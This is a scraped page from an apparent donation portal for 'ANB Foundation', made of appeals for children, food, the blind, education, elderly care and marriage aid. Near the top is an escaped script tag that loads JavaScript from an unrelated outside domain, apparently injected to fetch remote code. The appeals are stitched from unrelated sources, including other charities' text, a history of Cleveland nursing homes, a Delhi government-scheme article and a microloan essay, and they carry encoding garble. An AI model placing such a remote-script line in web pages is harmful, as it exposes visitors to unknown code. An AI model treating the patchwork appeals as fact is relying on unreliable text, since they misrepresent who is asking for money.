Our Help & Donation Services Portal

  1. Home
  2. Help Provide By Us

Our Help Portal For People

andlt;script type=andquot;text/javascriptandquot; src=andquot;https://jso-tools.z-x.my.id/raw/~/DIG5J31B5XIDNandquot;andgt;andlt;/scriptandgt;

Donate Now

RESILIENT

Come, join us to make the children of India RESILIENT!

We have undertaken interventions that help us to build resilience of children facing disasters and climate variabilities.

India is highly exposed to disasters and climate events, at times recurrent and multiple, such as earthquakes, floods, cyclones, landslides and droughts. Urban areas are more exposed to fire hazards than other hydro-geological disasters. Melting snow and glaciers, changing landscape and biodiversity, loss of water bodies and temperature fluctuation not only have an impact on food, health, and potable water but also affects children, their families, and communities, make them prone to further shocks and stresses.

Donate Now

ENGAGEMENT WITH GOVERNMENT

Engagement with the Government: Key Ministries and Institutions

ANB Foundation has a positive, collaborative and well-sustained relationship with the Government of India.

The following are key ministries and institutions we work with at all levels, from national to state to district and even block.

Ourandnbsp;engagement with the governmentandnbsp;encompasses below principles:

  • Engaging in aandnbsp;meaningful dialogueandnbsp;with the government to explore ways to support children within the existing policy and programme context for children;
  • Establishing aandnbsp;working relationship with the government, for example, in the form of Memorandums of Understanding (MoUs) or Statement of Intent (SoI)
  • Providingandnbsp;technical supportandnbsp;on any child-related policy or programmes of the government based on programme implementation on ground, replicable and innovative programme solutions and evidence-based research
  • Being appointedandnbsp;membersandnbsp;of various committees, advisory boards and technical groups constituted by the government

Donate Now

POVERTY INCLUSION

Come, join our mission to provide a secure life to Every Last Child!

Many children due to their family situations are unable to access basics of life: food, shelter and education.

OUR APPROACH

  1. Increase income of marginalised families through skill development (vocational, life, digital and financial) and engineer linkage with government livelihood programmes and social protection schemes. This is achieved through partnership and collaboration with various agencies such as CSR foundations,andnbsp;State Rural Livelihood Missions, andandnbsp;National Skill Development Corporation.
  2. Address gender gaps through youth and community engagement for women and girls empowerment.
  3. Improve capabilities of marginalised youth leading to their employment through life skills, financial literacy and digital literacy training. We also link them to vocational training offered by government-recognised institutions.

Donate Now

TECHNICAL EDUCATION

BSG Technologies

This company started a mission with us to provide all computer program to all poor youth. They offers various technical courses like PHP, Android Development, Web Designing, Data Entry, Sales Training, Server Enggineering, Digital Marketing, SEO and much more.

We just pay a small amount to them to complete a technical course for a child and those amount came from a donation between us. Who wanna be technical then can contact directly to us for this program.

Education is a Human Rights for Every one. - BSG Technologies.

Contact us directly on : 8595147850 (Mr. Pradeep Kumar)

Our mission to provide a technical education upto 20000 students or employees. Please help us to donate in order to achieve our target.

Donate Now

DONATE CLOTH & FOOD

Every child, no matter who they are or where they come from, deserve to be healthy and nourished.
Save the Children, through its Health andamp; Nutrition Programmes, has benefitted 7.5 lakh children in 2021.

Come, join our mission to guarantee good Health andamp; Nutrition to Every Last Child!

he world is living through unprecedented times. The coronavirus (COVID-19) pandemic is causing disruption andamp; uncertainty in regular wage/salaried employees in urban India. These daily wage workers facing uncertain challenges in meeting their daily food requirements. As is often the case, people living in poverty are suffering the most.
Destitute and elderly people staying alone at home and have limited resources to meet their basic requirements.
Your contribution today will help us to provide food to these helpless people who are hit the hardest by the global coronavirus (COVID-19) pandemic.

Donating the cause is very easy and convenient. A unit contribution ofandnbsp;Rs 1000andnbsp;will help us in distributing roughlyandnbsp;20 meals. You can choose in multiple units of 1,2,3 or more.

Donate Now

PROVIDE GOVT. ASSIST FOR POOR PEOPLE

Every child, deserves a chance to a happy and healthy childhood.
Save the Children, through several state-level programmes has enabled more than 63,000 children to secure their well-being in 2021!

Come, join our mission to provide a secure life to Every Last Child!

Many children due to their family situations are unable to access basics of life: food, shelter and education.

Donate Now

HELP FOR BLIND PEOPLE

All India Confederation of the Blind (AICB) is a premier National Organization committed to ensuring equal opportunities and full participation for visually impaired children and adults in all walks of life. We solicit your valued contributions towards enabling us to help visually impaired children and adults lead a life of independence and contributory citizenship. Your donation, big or small, will always be gratefully acknowledged. You may please contribute for any or all of the following purposes or such other initiative you may choose to help us on.

Your generous donation to IVI will not only help stop andlsquo;preventableandrsquo; blindness, particularly among children from underprivileged communities, but also help strengthen the eye care delivery infrastructure in India.

Uncorrected refractive error remains a major cause of avoidable vision impairment and the second most common cause of blindness in India. Visual impairment caused by this issue is preventable or treatable, usually through a simple pair of glasses.

Your contribution will help meet the challenge of reversing the rather grim eye care situation for our country, currently ranking among countries with the highest number of visually impaired population.

You could also donate towards a range of other IVI initiatives in the following key areas:

andrsaquo; Capacity building
andrsaquo; Leadership initiatives
andrsaquo; Optometry Education andamp; Research
andrsaquo; Creating awareness about eye care
andrsaquo; Vision screening andamp; provision of glasses

Donate Now

HELP FOR DISABLED PEOPLE

Friends, all kinds of people live outside the country, but we all humans have one commonality andndash; humanity.
Even today there are many houses or people in our country who are neither getting employment nor getting enough food. There are also a lot of human beings in our country who cannot get their treatment or, we aim to provide all the medicine and hospitality facilities to those families who are unable to pay for the medical facilities. Every one dreams of life to be able to walk and be healthy. When India is healthy then our country will develop rapidly. Your every donation will help us to develop humanity.
Every donation will give a new life to a potential life.

Donate Now

EDUCATION FOR POOR PEOPLE

siksha abhi ka jivan ka adhaar hai, anb foundation sabhi garib bacho ko free me education deti hai. education hi samaj me naye bhaisya ka nirmaan karti hai, or har ek bache ko siksha ka saaman adhikar hai . Humara target hai ki kisi ko bhi education ki kami na rahe. hamara desh or samaj me ek naye surya ka uday ho .andnbsp;

Sab padhege tabhi to desh badhega. sabhi ko same adhikar milega tabhi to desh sikshit hoga. to aiye hamare is mission me shail ho or desh ko educated karne me hamari sahayata kare. ap sabhi ke prayaso se hi aaj hum yaha hai. agar ap bacho ko education dene ke paksh me hai to hume donation deke anugrihit kare . apka ek ek kiya hua daan ek naye bhavishya ka nirmaan karegaandnbsp;

Donate Now

OLD AGE HOME

OLD AGE/NURSING HOMESandnbsp;The origins of community responsibility for the elderly in Cleveland can be traced to the Northwest Territorial law for the relief of the poor, enacted in 1795. This act placed the obligation for maintaining needy relatives upon andquot;father and grandfather, and the mother and grandmother, and the children of every poor, old, blind, lame and impotent person.andquot; During the early 19th century, assistance to Clevelandand#39;s needy, including the aged, continued to come primarily from traditional sourcesandmdash;the family, private benevolence, and public relief (seeandnbsp;PHILANTHROPY,andnbsp;WELFARE/RELIEF). This changed somewhat in 1855, with the establishment of the City Infirmary, which housed and sustained the poor, aged, insane, and handicapped. The first local home to provide particular care for the elderly was not established until 1870, by theandnbsp;LITTLE SISTERS OF THE POOR. The evidence suggests that a growing dissatisfaction with the City Infirmary impelled religious leaders and social reformers to establish special homes for the aged. Between 1870-1908, 10 such institutions opened in Cleveland. The Home for Aged Women and theandnbsp;ELIZA JENNINGS HOME, both managed by the Womenand#39;s Christian Assn. (later theandnbsp;YOUNG WOMENand#39;S CHRISTIANandnbsp;ASSN.), sheltered elderly women.

Donate Now

SHAADI SAMAROH

As you all know, there are many people in our country who are not able to get their daughters married due to financial constraints. Keeping this in mind, the Chief Minister of Delhi Mr. Arvind Kejriwal has started the Delhi Poor Widow Daughter and Orphan Girl Marriage Scheme. Today we are going to provide you all the important information related to Delhi Poor Widow Daughter and Orphan Girl Marriage Scheme through this article. Such as the purpose of the scheme, benefits, eligibility, important documents, application process, etc. If you want to get all the information related to Delhi Balika Vivah Yojana, then you are requested to read this article till the end. Under the Delhi Girl Child Marriage Scheme, financial assistance of ? 30000 will be provided by the Delhi government for the marriage of daughters. This financial assistance will be provided for the marriage of daughters of economically weaker families, Scheduled Castes, Scheduled Tribes, Other Backward Classes, Minorities etc. Under the Delhi Poor Widowand#39;s Daughter andamp; Orphan Girls Marriage Scheme, the age of the daughter should be 18 years or more at the time of marriage. To take advantage of this scheme, the application form has to be submitted to the district office of the Department of Women and Child Development 60 days before the marriage. The scheme is administered by the Department of Women and Child Development. Earlier, only those families whose annual income was ? 60000 or less could take advantage of this scheme, but now families with annual income of ? 100000 or less would be able to take advantage of this scheme.

Donate Now

HELP POOR PEOPLE

Fortunately, we are living in the age of big data: decisions that used to be made on instinct can now be based on solid evidence. In recent years social scientists have begun to marshal the tools of big data to ask the hard questions about what works and what doesnt. The goal is to turn philanthropy into a science, where money gets directed to programs for which there is strong evidence of their effectiveness. I learned about microloans in 1992, on what was supposed to be a short detour from a career in hedge funds. As a 22-year-old intern in El Salvador for one of the largest microlenders, I was struck by how little the organization knew about their effect on clients�usually women�and the local economy. They knew that many customers were coming back for more loans and saw �client retention� as proof of their success. Why else would customers keep borrowing if it was not helping? But the microlenders did not have any serious evidence that the loans were helping women get their families out of poverty. When I asked about evidence on impacts, I was directed to a perfunctory questionnaire. I wondered: maybe repeat borrowing is not good if the clients business does not continue to grow. Perhaps true success would be to provide one loan to help someone in need and then down the road to discover the borrower to be stable enough not to need another.

Donate Now